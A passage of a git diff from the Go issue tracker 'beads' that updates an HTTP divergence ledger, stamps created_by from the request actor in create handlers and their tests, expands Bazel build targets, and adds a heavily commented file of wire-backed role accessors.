store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-ready-mol | refuse | `--mol` | `bd ready --mol` refuses | its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker once they flipped onto the wire | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-ready-gated | refuse | `--gated` | `bd ready --gated` refuses | it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-show-thread | refuse | `--thread` | `bd show --thread` refuses | showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but that read was flipped onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-show-refs | refuse | `--refs` | `bd show --refs` refuses | showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-show-children | refuse | `--children` | `bd show --children` refuses | showIssueChildren's --json marshals the full GetDependentsWithMetadata rows, the same collectDependents shallow projection as --refs, so created_at/assignee/description come back zeroed over http; `bd children` refuses as a whole command for the same reason | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-mol-ready | refuse | — | `bd mol ready` refuses | it is the same runMolReadyGatedCore body as `bd ready --gated` | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Ready-request fields diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 21b40f174..16b9d4a63 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -213,6 +213,14 @@ func (s *Server) applyBatchRequest(w http.ResponseWriter, r *http.Request) (issu if res != nil { return refuse(res) } + // created_by is stamped from the actor on every create item, createIssue's + // rule (create.go): the item publishes no created_by and the role copies the + // issue's rather than stamping one. + for _, item := range items { + if item.Create != nil { + item.Create.Issue.CreatedBy = actor + } + } return issueops.ApplyBatchRequest{ Actor: actor, Items: items, diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index 300bd86fa..a60c8ea54 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -144,6 +144,11 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { if create.Issue.Priority != 1 { t.Errorf("create.priority = %d, want 1", create.Issue.Priority) } + // created_by is stamped from the trimmed actor, createIssue's rule: the + // role copies the issue's and never stamps one itself. + if create.Issue.CreatedBy != "alice" { + t.Errorf("create.created_by = %q, want the actor %q", create.Issue.CreatedBy, "alice") + } if create.Issue.EstimatedMinutes == nil || *create.Issue.EstimatedMinutes != 30 { t.Errorf("create.estimated_minutes = %v, want 30", create.Issue.EstimatedMinutes) } diff --git a/internal/httpapi/batch_create.go b/internal/httpapi/batch_create.go index d56014eae..063816260 100644 --- a/internal/httpapi/batch_create.go +++ b/internal/httpapi/batch_create.go @@ -101,6 +101,13 @@ func (s *Server) batchCreateRequest(w http.ResponseWriter, r *http.Request) (iss if !ok { return issueops.CreateBatchRequest{}, false } + // created_by is stamped from the actor on every item, createIssue's rule + // (create.go): the item publishes no created_by and the role copies the + // issue's rather than stamping one, so without this a batch-created issue + // would store none where `bd create --file` stores its actor. + for _, item := range items { + item.Issue.CreatedBy = actor + } return issueops.CreateBatchRequest{Actor: actor, Items: items}, true } diff --git a/internal/httpapi/batch_create_test.go b/internal/httpapi/batch_create_test.go index a00996bba..b3a689968 100644 --- a/internal/httpapi/batch_create_test.go +++ b/internal/httpapi/batch_create_test.go @@ -85,6 +85,13 @@ func TestBatchCreatePassesTheRequestToTheRoleAndAnswersWithWhatItCreated(t *test if got.Items[1].Issue.Priority != 0 || got.Items[1].Issue.Description != "body" { t.Errorf("item 1 = %+v, want the wire's description and no priority", *got.Items[1].Issue) } + // created_by is stamped from the actor on EVERY item, createIssue's rule: + // the role copies the issue's and never stamps one itself. + for i, item := range got.Items { + if item.Issue.CreatedBy != "alice" { + t.Errorf("item %d created_by = %q, want the actor %q", i, item.Issue.CreatedBy, "alice") + } + } // No provenance: the file name a CLI batch spells has no analogue here, so // the entry reads as the implementation's default rather than as a lie. if got.Provenance != "" { diff --git a/internal/httpapi/create.go b/internal/httpapi/create.go index f444e4a99..89901c5c5 100644 --- a/internal/httpapi/create.go +++ b/internal/httpapi/create.go @@ -202,6 +202,18 @@ func (s *Server) createIssueRequest(w http.ResponseWriter, r *http.Request) (iss Sender: derefString(wire.Sender), Ephemeral: derefBool(wire.Ephemeral), NoHistory: derefBool(wire.NoHistory), + // CreatedBy is stamped from the caller-asserted actor, matching the + // local front door's semantics (cmd/bd/create.go sets issue.CreatedBy + // from getActorWithGit() before calling the same role): the role + // itself never stamps it, copying whatever the caller already put on + // types.Issue (internal/storage/issueops/public_create.go's + // publicCreateIssue). The wire's `actor` member is the caller-asserted + // identity this request carries — provenance for the audit trail, not + // authenticated identity, exactly as this file's own doc comment + // states above — so it is the one value this server has to make that + // stamp from. batch_create.go and batch_apply.go make the same + // stamp, so no create shape stores an empty created_by. + CreatedBy: actor, } if wire.Priority != nil { issue.Priority = *wire.Priority diff --git a/internal/httpapi/create_test.go b/internal/httpapi/create_test.go index 5e633ce50..4749a3050 100644 --- a/internal/httpapi/create_test.go +++ b/internal/httpapi/create_test.go @@ -190,11 +190,17 @@ func TestCreateForwardsEveryDocumentedMember(t *testing.T) { t.Errorf("the handler put edges or comments on the issue (%d/%d); they belong to the request's own members", len(issue.Dependencies), len(issue.Comments)) } - // created_at/created_by are unpublished, so a fresh row must reach the role - // with both zero and take the implementation's own values. - if !issue.CreatedAt.IsZero() || issue.CreatedBy != "" { - t.Errorf("the handler set created_at/created_by (%v/%q); neither is published on this operation", - issue.CreatedAt, issue.CreatedBy) + // created_at is unpublished, so a fresh row must reach the role with it + // zero and take the implementation's own value. created_by IS stamped by + // this handler, from the same trimmed actor identity asserted above — + // matching the local front door's semantics (cmd/bd/create.go sets + // issue.CreatedBy from getActorWithGit() before calling the same role, + // because the role itself never stamps it). + if !issue.CreatedAt.IsZero() { + t.Errorf("the handler set created_at (%v); it is not published on this operation", issue.CreatedAt) + } + if issue.CreatedBy != "alice" { + t.Errorf("created_by = %q, want the actor %q", issue.CreatedBy, "alice") } if len(req.Dependencies) != 2 { diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 7b9542c59..6afefa0bb 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -1,22 +1,77 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "httpclient", srcs = [ + "accessors.go", "backend_credential.go", + "batchapplier.go", + "batchcloser.go", + "batchcreator.go", + "batchgetter.go", + "bridge.go", "ca.go", "ca_permissions_other.go", "ca_permissions_unix.go", + "claimer.go", + "commenter.go", + "counter.go", "credential.go", + "deleter.go", + "dependencyeditor.go", + "detail_reads.go", + "dial.go", + "dispatch.go", + "errors.go", + "journal.go", + "lifecycle.go", + "list_walk.go", + "memories.go", + "metadata.go", + "metadatacas.go", + "offrole.go", + "order.go", + "readyclaimer.go", + "refusal.go", + "register.go", + "relations.go", + "releaser.go", + "resolve.go", + "role_querier.go", + "role_reader.go", + "role_readycounter.go", + "roles_aux.go", + "roles_graph.go", + "servercontext.go", + "store.go", + "sweeper.go", "target.go", + "target_seam.go", + "unsupported.go", + "unsupported_gen.go", + "vocabulary.go", + "watch.go", + "writewire.go", ], importpath = "github.com/steveyegge/beads/internal/httpclient", visibility = ["//:__subpackages__"], deps = [ + "//internal/config", "//internal/configfile", "//internal/creds", + "//internal/httpapi/apigen", + "//internal/httpclient/encode", "//internal/httpclient/wire", + "//internal/storage", "//internal/storage/backends", + "//internal/storage/issueops", + "//internal/storage/sqlbuild", + "//internal/types", + "//internal/utils", + "//issueops", + "//journalops", + "//memoryops", "@org_golang_x_net//http/httpproxy", "@org_golang_x_net//idna", ], @@ -24,23 +79,160 @@ go_library( go_test( name = "httpclient_test", + # Unsharded, this package takes ~350s under --config=ci (BEADS_TEST_SKIP=dolt, no + # BEADS_TEST_EMBEDDED_DOLT): mostly wall-clock wait on the CA tests' dialer/keep-alive + # timeouts, not CPU. The go_test default size (medium, 300s timeout) leaves no margin + # and times out intermittently; size=large/timeout=long follows the same convention as + # //internal/storage/embeddeddolt's go_test. + size = "large", + timeout = "long", srcs = [ "backend_credential_test.go", + "batchapplier_test.go", + "brief_test.go", + "bulk_roles_test.go", "ca_permissions_unix_test.go", "ca_test.go", "ca_wrong_ca_test.go", + "completeness_test.go", + "composition_test.go", + "counts_test.go", "credential_source_test.go", "credential_test.go", + "dial_test.go", + "dispatch_test.go", + "divergence_citation_gate_test.go", + "divergence_test.go", "helpers_test.go", + "lifecycle_create_test.go", + "lifecycle_update_test.go", + "list_sort_test.go", + "metadatacas_test.go", + "race_detector_off_test.go", + "race_detector_on_test.go", + "required_served_tier_test.go", + "roles_graph_cycles_test.go", + "roles_test.go", + "served_batch_apply_test.go", + "served_batch_close_test.go", + "served_batch_getter_test.go", + "served_bridge_test.go", + "served_bulk_test.go", + "served_claim_lifecycle_test.go", + "served_commenter_test.go", + "served_config_test.go", + "served_config_write_test.go", + "served_counter_test.go", + "served_detail_reads_test.go", + "served_dualrun_test.go", + "served_graph_aux_test.go", + "served_graph_counter_test.go", + "served_harness_test.go", + "served_hooks_test.go", + "served_issue_operations_test.go", + "served_journal_test.go", + "served_lifecycle_create_test.go", + "served_list_test.go", + "served_memories_deps_test.go", + "served_metadata_cas_test.go", + "served_project_swap_test.go", + "served_querier_test.go", + "served_reader_test.go", + "served_ready_claimer_test.go", + "served_readycounter_test.go", + "served_relations_test.go", + "served_releaser_test.go", + "served_test.go", + "served_wrong_server_test.go", + "store_dependent_test.go", + "store_test.go", "target_test.go", + "watch_test.go", + "wave2b_roles_test.go", + "wave2c_claimnext_test.go", + "wave2c_config_test.go", + "wave2c_journal_test.go", + "write_ledger_test.go", + "write_roles_test.go", ], + # keep + # + # TestInterfaceCompleteness (completeness_test.go) reads its own package's + # generated shell, unsupported_gen.go, by a plain relative os.ReadFile to + # regex-match the methods storage.DoltStorage's refusing shell covers. That + # file is already a `srcs` member of :httpclient above, which Bazel compiles + # away rather than leaving as a readable file in the test's sandbox; `data` + # is what actually puts a copy there, exactly as + # //internal/httpclient/encode's own go_test does for the same reason. + # Gazelle does not manage `data` on this rule, so this survives + # `make bazel-sync` (the directive just says so). + data = glob(["*.go"]), embed = [":httpclient"], deps = [ + "//backend/conformance", + "//internal/eventsjournal", + "//internal/hooks", + "//internal/httpapi", "//internal/httpapi/apigen", + "//internal/httpapi/spec", + "//internal/httpclient/encode", + "//internal/httpclient/wire", + "//internal/storage", "//internal/storage/backends", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/storage/issueops", + "//internal/storage/sqlbuild", + "//internal/types", + "//internal/workapi", + "//issueops", + "//journalops", + "//memoryops", + "@in_gopkg_yaml_v3//:yaml_v3", ], ) +# scripts/conformance.sh's Tier 3, the served HTTP corpus: the whole package +# with BEADS_TEST_EMBEDDED_DOLT=1, so the served_*_test.go cases stand a real +# `bd serve` handler over embedded Dolt instead of skipping as they do in +# httpclient_test above, and BEADS_HTTP_TEST_REQUIRED=1, so a missing engine +# fails each served case rather than skipping it. It is the script's run on +# the lane's race build (raceEnabled shrinks its one large apply). +# +# Shard count: on the lane's executors (2026-10-08) the package is 702 tests +# and ~3,700 test-seconds, the heaviest, TestServedBatchGetterContract, at +# 170-230s. rules_go deals the tests out round-robin, so the shard that draws +# it runs it plus about a 24th of the rest: 283s measured, ~370s at the slow +# end. Both are under the ~410s cmd/bd shard that sets the lane's floor (see +# bazel.yml's bazel-embedded), so this target does not lengthen the lane. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "httpclient_served_test", + size = "large", + # Deviation from the script's -timeout=40m: Bazel ends the action at + # 1200s (eternal under --config=embedded), and rules_go's wrapper ignores + # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own + # timeout fire first and dump every goroutine to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :httpclient_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + ], + data = [":httpclient_test"], + env = { + "BEADS_HTTP_TEST_REQUIRED": "1", + "BEADS_TEST_EMBEDDED_DOLT": "1", + }, + shard_count = 24, + tags = ["embedded"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/httpclient/accessors.go b/internal/httpclient/accessors.go new file mode 100644 index 000000000..ee635ebd9 --- /dev/null +++ b/internal/httpclient/accessors.go @@ -0,0 +1,386 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/accessors.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// The TWENTY-FIVE wire-backed role accessors of design D8's allowlist v1, as +// amended by the `bd close` decision that moved row 17 across, and by the +// five the client waves added after it — Counter and GraphCounter (wave 2a), +// Releaser, Commenter and IssueRelations (wave 2b). A count in prose beside a +// list in code is a count that goes stale, so read the list. They are +// off the generated refusing shell — that is what keeps them off the unsupported +// allowlist and out of RunUnsupportedContract — and hand-written here so a role +// bead flips one accessor in place, in the same PR as the method that serves it, +// without touching the generator's skip list. +// +// An accessor that has not been wired yet refuses through (*Store).unsupported, +// so it already carries the server context D7 renders, and the comment on each +// names the v0 operation that will answer it — a flip has nothing left to +// decide. A wired one returns its role bound to the store's transport; the +// implementations live one file per role, so concurrent role beads do not edit +// the same body. +// +// THREE accessors are still on the generated shell, and after client wave 2b +// they are all there for ONE reason: VersionReconciler, Bootstrapper and +// InitVerifier are PERMANENTLY UNSERVABLE — no wire operation and none coming. +// +// THE SECOND LIST IS EMPTY, and it is worth saying that it existed rather than +// deleting it silently. It held the names the wire had published ahead of this +// client — an operation complete on the server with no accessor in front of it — +// and every one of them has now left it by being WIRED: Counter (issues.count, +// #5508) and GraphCounter (dependencies.count, #5536) with client wave 2a +// (ga-icks1), then Releaser (issues.release, #5507), IssueRelations +// (issues.related, #5540) and Commenter (issues.addComment, #5594) with client +// wave 2b (ga-f352s). The next operation upstream publishes ahead of a client +// wave starts the list again, which is what it is for. +// +// "UNCONSUMED" AND "UNWIRED" ARE NOT THE SAME THING, and this comment used to +// spell them as one. A name leaves the second list when its ACCESSOR lands here; +// its entry in cmd/bd's httpUnconsumedCapabilities leaves only when a `bd` +// command reaches the role over http. Counter's went with wave 2a because +// `bd count` became served; GraphCounter's stayed, because no `bd` command +// reaches that role on ANY backend. Wave 2b splits the same way and TWO of its +// three went: Commenter's, because `bd comment` is served, and IssueRelations', +// because `bd dep list` reaches that role on every shape but the multi-anchor +// default — the command was already classified served and was failing LATE, so +// wiring the accessor turned a refusal into an answer rather than moving a row. +// Only Releaser's stayed, RESCOPED from "no accessor" to the front door it +// actually waits on. +// +// WorkspaceConfig used to be on neither list because it was PARTLY wired — its +// reads served and its two write verbs refusing — and it is now simply wired: +// #5596 published PUT and DELETE /v0/beads/config/{key} and client wave 2c +// (ga-jpywb) dials both. THE PARTIAL COLUMN IS EMPTY, for the first time since +// this file was written. +// +// READYLISTER IS NOT AN ACCESSOR HERE, and it is not a removal: this lift +// carried bd-enterprise's issueops.ReadyLister/ReadyListRequest/ReadyListing +// over from a fork where upstream had published them, and S3 reconciliation +// (2026-10) found OSS has published none of the three — +// there is no role type to implement and no accessor return type to name. +// `bd ready`'s listing is unaffected; it already runs on IssueReader. S13 +// schedules the role once upstream publishes it. + +// IssueReader serves listReadyWork/listIssues/getIssue (D8 row 1). +func (s *Store) IssueReader() (issueops.Reader, error) { + return httpReader{store: s}, nil +} + +// ReadyCounter serves countReadyWork (D8 row 2). +func (s *Store) ReadyCounter() (issueops.ReadyCounter, error) { + return httpReadyCounter{store: s}, nil +} + +// Counter serves countIssues (GET /v0/beads/issues:count) — the TWENTY-FIRST +// wire-backed accessor, and the one `bd count` routes through. +// +// Its request maps member for member: every one of CountRequest's twenty-three +// filters is a published parameter, so nothing here refuses and no ledger row +// names a member. What the operation does NOT publish is anything the ROLE does +// not have — a count's plane vocabulary is one `include_infra` where a +// listing's is five parameters, and that narrowing is upstream's design rather +// than a wire gap. See counter.go. +func (s *Store) Counter() (issueops.Counter, error) { + return httpCounter{store: s}, nil +} + +// Releaser serves releaseIssue (POST /v0/beads/issues/{id}:release) — the +// TWENTY-THIRD wire-backed accessor, and the claim's inverse. +// +// Its request maps member for member and nothing refuses on shape. What the port +// had to carry instead is a fact about the ANSWER: a release leaves an ANONYMOUS +// post-state — assignee cleared, status open, started_at gone — which is the same +// row whoever emptied it, so the role cannot report an idempotent no-op the way +// Claimer does and every shape that would not write is a REFUSAL. Those refusals +// are the whole value of this accessor to a caller, so they travel whole rather +// than being softened into a quiet false. +// +// ONE OF THEM IS FLATTENED BY THE WIRE and is ledgered: `not_releasable` covers +// both "holds no claim" and "status will not accept a release", with no member +// telling them apart, so this client answers the wider of the two +// (L-release-notclaimed). See releaser.go. +func (s *Store) Releaser() (issueops.Releaser, error) { + w, err := s.roleWire("Releaser") + if err != nil { + return nil, err + } + return &httpReleaser{store: s, wire: w}, nil +} + +// Commenter serves addComment (POST /v0/beads/issues/{id}/comments) — the +// TWENTY-FOURTH wire-backed accessor, and the only write here whose path names a +// SUB-RESOURCE collection rather than the issue. +// +// Three request members, one of them the path, and one result member: the +// smallest total mapping on this surface. What is worth knowing is what the role +// declines rather than what it carries — there is no comment READ here, because +// a comment page is a paging question with a cursor of its own and the wire +// publishes no such operation. The thread is read through getIssue's +// `include_comments`. See commenter.go. +func (s *Store) Commenter() (issueops.Commenter, error) { + w, err := s.roleWire("Commenter") + if err != nil { + return nil, err + } + return &httpCommenter{store: s, wire: w}, nil +} + +// IssueRelations serves listRelatedIssues (GET /v0/beads/issues/{id}/related) — +// the TWENTY-FIFTH wire-backed accessor, and the first read here anchored on one +// issue in the PATH. +// +// It is the SINGLE-ANCHOR member of the graph family, which is what makes its +// miss a 404 rather than the per-anchor Missing sentinel EdgeReader and +// GraphCounter carry: one request names one id, so there is nowhere to put a +// per-anchor flag and no need for one. Both halves of the walk are two-plane and +// a wisp id is a legal anchor, all of it decided server-side. +// +// `bd dep list` IS ITS FRONT DOOR, which is easy to miss because that command +// reads as an EDGE command: the multi-anchor default shape takes the EdgeReader +// batch, and every other shape — the single anchor, and any --direction up — +// takes this role, one call per anchor. So this accessor was the difference +// between a command that was classified served and failed at dispatch, and one +// that answers. See relations.go. +func (s *Store) IssueRelations() (issueops.Relations, error) { + return httpRelations{store: s}, nil +} + +// IssueClaimer serves claimIssue (D8 row 3). See claimer.go. +func (s *Store) IssueClaimer() (issueops.Claimer, error) { + w, err := s.roleWire("IssueClaimer") + if err != nil { + return nil, err + } + return &httpClaimer{store: s, wire: w}, nil +} + +// ReadyClaimer serves claimNext (POST /v0/beads/issues:claimNext). +// +// IT ADDS NO ORDINAL, and the absence is the point: every accessor before it in +// this file counts itself as the Nth wire-backed one because it CROSSED the +// matrix, moving off the refusing shell in the wave that wired it. This one did +// not cross — it has been in wireBackedAccessors since the first commit, served +// by a composition — so the matrix stays at twenty-five and calling this the +// twenty-sixth would be counting a row that never moved. What changed is what +// stands behind the accessor, which is what the rest of this leaf is about. +// +// "The wire has no claimNext" was true when this leaf was written and stopped +// being true with upstream #5510. What the operation buys is not a round trip: +// it is the one transaction the composition could never have — selection, the +// compare-and-set and the hydration together — which is what makes an ephemeral +// row claimable, a lease actually written, and the returned cardinalities a +// description of the state the claim produced rather than of a listing taken +// before it. +// +// IT NAMES NO ID BECAUSE IT NAMES NO ROW: the caller asks a question and the +// server picks the answer. The filter travels as the QUERY STRING GET +// /v0/beads/ready's own decode reads — one predicate, one spelling — and the +// actor is the whole body. +// +// THE COMPOSITION SURVIVES as the down-level leg, capability-gated the way +// BatchCloser's is, so `bd ready --claim` keeps working against a server older +// than the operation. L14 is now that leg's row and not the role's. See +// readyclaimer.go. +func (s *Store) ReadyClaimer() (issueops.ReadyClaimer, error) { + w, err := s.roleWire("ReadyClaimer") + if err != nil { + return nil, err + } + return &httpReadyClaimer{store: s, wire: w}, nil +} + +// Querier serves queryIssues (D8 row 5). +func (s *Store) Querier() (issueops.Querier, error) { + return httpQuerier{store: s}, nil +} + +// StatsReporter serves getStats (D8 row 6). See roles_aux.go. +func (s *Store) StatsReporter() (issueops.StatsReporter, error) { + return httpStatsReporter{store: s}, nil +} + +// CycleDetector serves listDependencyCycles (D8 row 7). See roles_graph.go. +func (s *Store) CycleDetector() (issueops.CycleDetector, error) { + return httpCycleDetector{store: s}, nil +} + +// TreeWalker serves getDependencyTree (D8 row 8). See roles_graph.go. +func (s *Store) TreeWalker() (issueops.TreeWalker, error) { + return httpTreeWalker{store: s}, nil +} + +// GraphCounter serves countDependencyEdges (GET +// /v0/beads/dependencies:count) — the TWENTY-SECOND wire-backed accessor. +// +// It is the counting sibling of EdgeReader below, on the same collection and +// under the same anchor bound, plus the direction that read does not take. Its +// mapping is total: anchors, direction, edge types and the inbound-only status +// filter are all published, and the two facts it reads back — a 64-bit count and +// the Missing sentinel — are both required members, which is what keeps a typo +// from being indistinguishable from a real zero. See roles_graph.go. +func (s *Store) GraphCounter() (issueops.GraphCounter, error) { + return httpGraphCounter{store: s}, nil +} + +// EdgeReader serves listDependencies (D8 row 9). See roles_graph.go. +func (s *Store) EdgeReader() (issueops.EdgeReader, error) { + return httpEdgeReader{store: s}, nil +} + +// BlockingAnnotator serves listBlockingAnnotations (D8 row 10), which is what +// keeps `bd list`'s blocked and blocks marks working. See roles_graph.go. +func (s *Store) BlockingAnnotator() (issueops.BlockingAnnotator, error) { + return httpBlockingAnnotator{store: s}, nil +} + +// WorkspaceConfig serves listSettings/getSetting/setSetting/unsetSetting (D8 +// row 11, no longer partial). See roles_aux.go. +// +// Its two writes are the smallest mapping on this surface — a key in the path, a +// value in the body — and they carry no actor and no guard, because this plane +// records no history entry to attribute a write on and holds no row version to +// compare. Neither is a wire narrowing: no backend attributes a config write. +// +// WHAT THE PORT COST was a decision about the ANSWER, like every write in wave +// 2b before it. The operation PERMITS writing a credential-bearing key and then +// WITHHOLDS the value from its own answer — one projection serves the write and +// the read, so a PUT's body is the body of the GET after it — which leaves a +// successful write whose `value` member is absent and a result type with no +// spelling for "withheld". The client answers with the value it SENT, which is +// the operation's own promise rather than a guess about what redaction hid: the +// stored value equals the value sent for every key this plane accepts, because +// the one key with a normalization step is the one key the role refuses. +// +// The two EDGE BOUNDS the operation adds — a key past 255 characters on the +// write, a value past types.MaxTextBytes bytes — are the server's and are not +// restated here (L-config-bounds). +func (s *Store) WorkspaceConfig() (issueops.WorkspaceConfig, error) { + return httpWorkspaceConfig{store: s}, nil +} + +// Sweeper serves sweepIssues (D8 row 12). See sweeper.go. +func (s *Store) Sweeper() (issueops.Sweeper, error) { + w, err := s.roleWire("Sweeper") + if err != nil { + return nil, err + } + return &httpSweeper{store: s, wire: w}, nil +} + +// Deleter serves deleteIssues (D8 row 13). See deleter.go. +func (s *Store) Deleter() (issueops.Deleter, error) { + w, err := s.roleWire("Deleter") + if err != nil { + return nil, err + } + return &httpDeleter{store: s, wire: w}, nil +} + +// BatchCreator serves batchCreateIssues (D8 row 14); the item members the wire +// cannot carry refuse per-item, per refuse-not-drop. See batchcreator.go. +func (s *Store) BatchCreator() (issueops.BatchCreator, error) { + w, err := s.roleWire("BatchCreator") + if err != nil { + return nil, err + } + return &httpBatchCreator{store: s, wire: w}, nil +} + +// Memories serves the four memory operations (D8 row 15). See memories.go. +func (s *Store) Memories() (memoryops.Memories, error) { + w, err := s.roleWire("Memories") + if err != nil { + return nil, err + } + return &httpMemories{store: s, wire: w}, nil +} + +// IssueLifecycle serves createIssue/updateIssue/closeIssue/reopenIssue (D8 row +// 16). It was PARTIAL until the create landed — POST /v0/beads/issues was +// deliberately left free on the wire, so there was nothing to dial — and +// upstream #5483 filled it. See lifecycle.go. +func (s *Store) IssueLifecycle() (issueops.Lifecycle, error) { + w, err := s.roleWire("IssueLifecycle") + if err != nil { + return nil, err + } + return &httpLifecycle{store: s, wire: w}, nil +} + +// DependencyEditor serves addDependencies/removeDependency (D8 row 18). See +// dependencyeditor.go. +func (s *Store) DependencyEditor() (issueops.DependencyEditor, error) { + w, err := s.roleWire("DependencyEditor") + if err != nil { + return nil, err + } + return &httpDependencyEditor{store: s, wire: w}, nil +} + +// BatchCloser serves the single-item, no-ClaimNext shape of CloseBatch by +// composing onto closeIssue, and refuses every other shape (the `bd close` +// decision, amending D8 row 17's PENDING-DECISION). See batchcloser.go. +// +// It is the EIGHTEENTH wire-backed accessor: the design's matrix recorded +// seventeen because row 17 was undecided when it was written, and the decision +// moved this one across. +func (s *Store) BatchCloser() (issueops.BatchCloser, error) { + w, err := s.roleWire("BatchCloser") + if err != nil { + return nil, err + } + return &httpBatchCloser{store: s, wire: w}, nil +} + +// MetadataCAS serves compareAndSetMetadata (POST +// /v0/beads/issues/{id}:casMetadata) — the NINETEENTH wire-backed accessor. +// +// The operation's contract 